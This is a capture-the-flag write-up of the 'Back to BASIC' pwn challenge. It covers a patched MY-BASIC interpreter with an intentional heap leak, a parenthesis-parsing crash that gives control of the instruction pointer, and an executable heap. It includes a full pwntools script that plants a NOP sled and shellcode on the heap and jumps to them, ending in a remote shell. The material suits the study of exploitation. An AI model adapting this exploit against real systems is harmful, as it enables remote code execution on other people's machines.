Writeup by StroppaFR for Back to BASIC

pwn

September 30, 2025

Description

The server we can connect to is running a modified version of MY-BASIC v1.2.2, an open source BASIC interpreter. We are given a .patch file generated with git diff, containing the differences between the open source code and the one running on the server.

The goal is to read the file at /app/flag.txt. The binary was compiled for 32-bit x86, with most usual protections enabled.

$ file back-to-basic 
back-to-basic: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=back-to-basic
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   2087 Symbols      Partial       6               11              back-to-basic

Solution (heap shellcode)

The first vulnerability is an “intentional” heap leak. The type of dictionary was changed from _DT_DICT to _DT_INT, allegedly to make it easier to debug the Garbage Collector.

        case MB_DT_DICT:
-               itn->type = _DT_DICT;
+               itn->type = _DT_INT; /* for GC debug */
                itn->data.dict = (_dict_t*)pbl->value.dict;

As a consequence, we can get a heap leak by creating a DICT object and simply printing it.

]A = DICT()
]PRINT(A)
]RUN
1458044854 // =0x56e7ffb6

The second vulnerability is a bug in the BASIC interpreter. We can find it by digging into the GitHub repository issues: Crash on short arithmetic expression without closing parenthesis #99.

This bug surprisingly leads to RIP control with little to no effort.

]A=(A+0x42424242
]RUN

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

And finally, the patch applied to the interpreter also makes the heap executable. The reason given is to implement Just-In-Time compilation in the future :-)

+       /* preparing future works: implement JIT compiler on Lunix */
+       JIT_buffer = malloc(PAGE_SIZE);
+       mprotect((void *)(((unsigned int)JIT_buffer) & 0xFFFFF000), -1, PROT_READ|PROT_WRITE|PROT_EXEC);

To get a shell, we start by leaking a heap address by printing a DICT. Then we allocate a string on the heap containing a NOP sled and a shellcode. Finally, we try to jump on the shellcode on the heap using the arithmetic expression bug. If we are lucky, the shellcode is executed and we get a shell on the server.

from pwn import *

off = 0x600
while True:
    if args.REMOTE:
        r = remote('localhost', 4000)
    else:
        r = process("back-to-basic")
    # Write shellcode on heap
    r.recvuntil(b']')
    r.sendline(b'PROG="' + b'\x90' * 0x50 + asm(shellcraft.sh()) + b'"')
    # Leak heap address
    r.recvuntil(b']')
    r.sendline(b'A=DICT()')
    r.recvuntil(b']')
    r.sendline(b'PRINT(A)')
    r.recvuntil(b']')
    r.sendline(b'RUN')
    heap_leak = int(r.recvline()[:-1])
    print('Heap:', hex(heap_leak))
    # Jump on heap
    jump = heap_leak - off
    r.recvuntil(b']')
    r.sendline(b'A=(A+' + str(jump).encode())
    r.recvuntil(b']')
    r.sendline(b'RUN')
    r.sendline(b'id')
    try:
        # Win
        r.recvuntil(b'uid=1000')
        r.interactive()
        exit()
    except Exception as e:
        # Nope, try with a different heap offset
        r.close()
        off += 0x10

Within a few tries, we get a shell and we can read the flag.

[+] Opening connection to localhost on port 4000: Done
Heap: 0x57b69b46
[*] Switching to interactive mode
(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{...}